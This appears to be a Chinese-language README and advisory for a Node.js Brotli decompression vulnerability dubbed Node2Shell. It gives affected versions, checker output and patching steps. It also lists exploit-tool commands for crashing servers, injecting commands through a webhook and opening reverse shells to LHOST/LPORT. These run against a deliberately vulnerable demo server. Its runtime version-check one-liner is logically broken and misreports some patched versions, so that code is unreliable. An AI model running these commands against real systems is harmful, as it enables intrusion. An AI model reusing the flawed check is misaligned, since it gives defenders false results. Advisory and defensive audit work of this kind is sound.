Node2Shell
CVE-2026-111497 综合安全公告、技术分析与修复指南
Node2Shell(CVE-2026-111497)于 2026 年 10 月披露,是一个严重的安全漏洞,影响直接捆绑在 Node.js 运行时二进制文件内部的原生 Brotli 解压缩组件。
该缺陷允许远程攻击者通过向任何处理压缩输入的 Node.js 应用程序(例如 HTTP 请求体解析器、原生 fetch() 调用或 WebSocket 流)提交特制的、畸形的 Brotli 压缩字节流,从而执行任意代码或使应用程序崩溃。
⚠️ 关键提示: 由于存在漏洞的代码位于编译进 Node.js 可执行文件本身的
deps/brotli中,更新用户空间的npm依赖无法缓解此漏洞。必须更新 Node.js 二进制运行时。
deps/brotli)。Content-Encoding: br)的框架和中间件(例如 Express、Fastify)。fetch() 处理来自提供压缩内容的不可信第三方端点的自动响应。zlib.createBrotliDecompress() 的自定义 Node.js 流。| Node.js 发布线 | 状态 | 修复版本 | 所需操作 |
|---|---|---|---|
| Node.js 26.x | ⚠️ 存在漏洞 | >= 26.12.1 | 立即升级 |
| Node.js 24.x | ⚠️ 存在漏洞 | >= 24.22.1 | 立即升级 |
| Node.js 22.x (LTS) | ⚠️ 存在漏洞 | >= 22.23.4 | 立即升级 |
| Node.js 20.x 及更早版本 | ❌ EOL | 无 | 立即迁移至受支持的 LTS |
🚨 EOL 警报: Node.js 20 已于 2026 年 4 月达到生命周期终止(EOL)。EOL 版本不提供官方安全回溯补丁。
$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.
Current Node.js version : v24.22.1
Brotli constant present : yes (-17) → patched decoder
───────────────────────────────────────────────────────
Verdict: PATCHED
You are running a fixed release of the 24.x line.
Additional notes:
• The constant check is the most reliable signal when Node.js ships
its own (statically linked) Brotli. On some Linux distros Node may
use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1
$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.
Current Node.js version : v24.22.0
Brotli constant present : no / missing → likely vulnerable decoder
───────────────────────────────────────────────────────
Verdict: VULNERABLE
Upgrade to Node.js 24.22.1 or later in the 24.x line.
Additional notes:
• The constant check is the most reliable signal when Node.js ships
its own (statically linked) Brotli. On some Linux distros Node may
use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1
Current Node.js version : v20.18.0
Brotli constant present : no / missing → likely vulnerable decoder
Verdict: VULNERABLE (EOL / UNSUPPORTED)
This release line is end-of-life or never received the security fix.
Migrate to a supported LTS line (22.x, 24.x or 26.x) and use a patched version.
你也可以运行以下单行命令:
node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH ?? 'missing'"
-17 → 已修补missing → 存在漏洞这与脚本使用的检查相同。
# Python dependencies
pip install requests brotli
# Node server (webhook injection + eval paths)
npm install
node server-stock.js # port 3000
# Real CVE trigger — hang a Node.js HTTP server (Content-Encoding: br)
python3 Node2Shell.py -u http://TARGET:3000 --hang --path /api/data --timeout 10
# Webhook injection — command injection via execSync(hook) (stock server)
python3 Node2Shell.py -u http://TARGET:3000 --webhook --validate
python3 Node2Shell.py -u http://TARGET:3000 --webhook --cmd "id"
python3 Node2Shell.py -u http://TARGET:3000 --webhook --revshell LHOST LPORT
# OOB write stream — 13-byte COMMAND_BEGIN trigger + spray via streaming brotli
python Node2Shell.py -u http://TARGET:3000 --oob --path /api/data
# Direct eval mode (server with /api/exec eval sink)
python Node2Shell.py -u http://TARGET --validate
python Node2Shell.py -u http://TARGET --cmd "id"
python Node2Shell.py -u http://TARGET --revshell LHOST LPORT
要检查你的系统或正在运行的容器是否在执行存在漏洞的 Node.js 版本,请运行以下命令:
# Check installed local runtime version
node -v
# Audit running containers across a Kubernetes cluster / Docker environment
docker ps --format '{{.Names}}: {{.Image}}'
或者,在 Linux 环境中使用以下单行命令来测试你当前活跃的 Node 运行时是否安全:
node -e '
const v = process.versions.node.split(".").map(Number);
const safe = (v[0] === 22 && v[1] >= 23 && v[2] >= 4) ||
(v[0] === 24 && v[1] >= 22 && v[2] >= 1) ||
(v[0] >= 26 && v[1] >= 12 && v[2] >= 1);
console.log(safe ? "✅ Runtime is PATCHED" : "❌ Runtime is VULNERABLE");
'
nvm install 22.23.4
nvm alias default 22.23.4
nvm use 22.23.4
sudo apt-get update
sudo apt-get install --only-upgrade nodejs
更新你的 Dockerfile,显式拉取已修补的基础镜像标签:
# ❌ VULNERABLE
FROM node:22-alpine
# ✅ PATCHED
FROM node:22.23.4-alpine
清除本地容器构建缓存,以防止使用已缓存的易受攻击的基础层:
docker pull node:22.23.4-alpine
docker build --no-cache -t my-app:latest .
如果无法立即执行运行时升级:
Content-Encoding: br 标头。USER node)运行容器,并强制使用只读根文件系统(--read-only)。本仓库及文档严格用于教育、研究和防御性安全审计目的。在对目标系统进行漏洞评估或安全测试之前,必须获得授权同意。